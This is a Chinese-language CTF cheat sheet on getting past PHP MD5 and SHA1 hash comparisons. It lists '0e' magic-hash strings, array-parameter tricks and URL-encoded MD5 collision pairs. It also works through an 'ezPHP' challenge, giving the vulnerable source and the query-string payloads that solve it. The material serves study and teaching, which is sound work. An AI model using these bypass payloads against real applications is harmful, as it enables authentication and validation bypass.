md5绕过
MD5绕过
弱比较
($a != $b && md5($a) == md5($b))的绕过
传参a=s1885207154a,b=s1836677006a
MD5值:
md5("s1885207154a") => 0e509367213418206700842008763514
md5("s1836677006a") => 0e481036490867661113260034900752
在PHP中 0e开头表示为科学计数法 0e
后面的字母 会被当作零处理
字符串的MD5值为0e开头
QLTHNDT
QNKCDZO
PJNPDWY
NWWKITQ
NOOPCJF
MMHUWUV
MAUXXQC
240610708
s878926199a
s155964671a
s214587387a
0e215962017
0e1284838308
双md5碰撞绕过
if ($a != $b && md5($a) == md5(md5($b))
使md5($a)==md5(md5($b))
的值为0e
,只要使md5($b)
的值也为0e
,就绕过
找一个 值为0e开头,md5值也为0e开头的
md5("V5VDSHva7fjyJoJ33IQl") => 0e18bb6e1d5c2e19b63898aeed6b37ea
a=s1885207154a,b=V5VDSHva7fjyJoJ33IQl即可绕过if判断
双md5结果仍为0e开头字符串
MD5和双MD5以后的值都是0e开头的
0e215962017
CbDLytmyGm2xQyaLNhWn
770hQgrBOjrcqftrlaZk
7r4lGXCH2Ksu2JNT3BYM
md5弱类型比较
if (md5($_GET['a']) == md5($__GET['b']))
同理0e绕过
md5强类型比较
if(md5((string)$_GET['a'])===md5((string)$__GET['b']))
可以利用数组绕过
var_dump(md5([1,2,3])==md5([4,5,6]));
var_dump(md5($_GET['a'])==md5($_GET['b']));
?a[]=1&b[]
md5中需要的是一个string参数,但是当你传入一个array(数组)是,md5()是不会报错的,只是无法求出array的md5的值,这样就会导致任意的2个array的md5的值都会相等
urlencode
psycho%0A%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00W%ADZ%AF%3C%8A%13V%B5%96%18m%A5%EA2%81_%FB%D9%24%22%2F%8F%D4D%A27vX%B8%08%D7m%2C%E0%D4LR%D7%FBo%10t%19%02%82%7D%7B%2B%9Bt%05%FFl%AE%8DE%F4%1F%84%3C%AE%01%0F%9B%12%D4%81%A5J%F9H%0FyE%2A%DC%2B%B1%B4%0F%DEcC%40%DA29%8B%C3%00%7F%8B_h%C6%D3%8Bd8%AF%85%7C%14w%06%C2%3AC%BC%0C%1B%FD%BB%98%CE%16%CE%B7%B6%3A%F3%99%B59%F9%FF%C2
和
psycho%0A%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00W%ADZ%AF%3C%8A%13V%B5%96%18m%A5%EA2%81_%FB%D9%A4%22%2F%8F%D4D%A27vX%B8%08%D7m%2C%E0%D4LR%D7%FBo%10t%19%02%02%7E%7B%2B%9Bt%05%FFl%AE%8DE%F4%1F%04%3C%AE%01%0F%9B%12%D4%81%A5J%F9H%0FyE%2A%DC%2B%B1%B4%0F%DEc%C3%40%DA29%8B%C3%00%7F%8B_h%C6%D3%8Bd8%AF%85%7C%14w%06%C2%3AC%3C%0C%1B%FD%BB%98%CE%16%CE%B7%B6%3A%F3%9959%F9%FF%C2
例题 ezPHP
源码
<?php
include "flag.php";
highlight_file(__FILE__);
error_reporting(0);
$a = 'O.U.C';
$query = $_SERVER['QUERY_STRING'];
parse_str($query);
if (preg_match('/_|%5f|\.|%2E/i',$query)){
die('听说你是黑客');
}
echo '你知道b等于什么能绕过这个弱类型吗(〃` 3′〃)'.'<br>';
if (md5($a)==md5($_GET['b'])&&$a!=$_GET['b']){
echo "哎呦,不错喔".'<br>';
$O_U_C=$_GET['O_U_C'];
if (!is_array($O_U_C)&&$O_U_C!=='100'&&preg_match('/^100$/',$O_U_C)){
echo 'but'.'如果我寄出===阁下又该如何应对๑乛◡乛๑'.'<br>';
if (md5($_POST['md51'])===md5($_POST['md52'])&&$_POST['md51']!=$_POST['md52']){
echo '好,那么好'.'<br>';
if ($_COOKIE["md5"]===md5($secret.urldecode($_GET['md5']))){
echo '还是被你解出来了'.' ྀི ྀིɞ ྀི ིྀ ིྀ'.$flag;
}else{
echo '告诉你secret的md5值也无妨,反正哈希是不可逆的๑乛◡乛๑,除非你能箨斩攻击我'.md5($secret.'ouc').'<br>';
}
}else{
echo '不过如此';
}
}else{
die("不行嘛(´ェ`)");
}
}else{
echo '嗨害嗨 (๑ᵒ̴̶̷͈᷄ᗨᵒ̴̶̷͈᷅)';
}
你知道b等于什么能绕过这个弱类型吗(〃` 3′〃)
嗨害嗨 (๑ᵒ̴̶̷͈᷄ᗨᵒ̴̶̷͈᷅)
(md5($a)==md5($_GET['b'])&&$a!=$_GET['b']){
数组绕过 ?a[]=0&b[]=3
if (!is_array($O_U_C)&&$O_U_C!=='100'&&preg_match('/^100$/',$O_U_C))
要求 变量 O_U_G
不是数组 并且满足 $O_U_G
与字符串100 在值和类型上都不相等
if (preg_match('/_|%5f|.|%2E/i',$query))
preg_match函数匹配了 _
和 .
以及 %5f
和 %2E
使用空格 在php中 空格会被特殊解析成下划线
?a[]=0&b[]=4&O U C=100%0a
if (md5($_POST['md51'])===md5($_POST['md52'])&&$_POST['md51']!=$_POST['md52'])
该比较为强比较 不能使用0e绕过 此时0e不再被当作科学计数法 0e后面的东西不在记为0处理
md51[]=1&md52[]=2
if ($_COOKIE["md5"]===md5($secret.urldecode($_GET['md5']))){
传入cookie的值为md5 使其等于 secret
传入的md5的md5值相等
secter和传入的md5拼接的值的md5已给出
因为有拼接的存在 md5=ouc
sha1绕过
弱比较 ==
10932435112
aaroZmOk
aaK1STfY
aaO8zKZF
aa3OFF9m
0e1290633704
以上为sha1加密后 加密结果为 0e
开头的字符串
强比较 ===
数组绕过
?a[]=1&b[]=2
cmp命令绕过
if(is_array($GET['a']) || is_array($GET['b']))
出现is_array时 无法进行数组绕过
同上urleccode编码绕过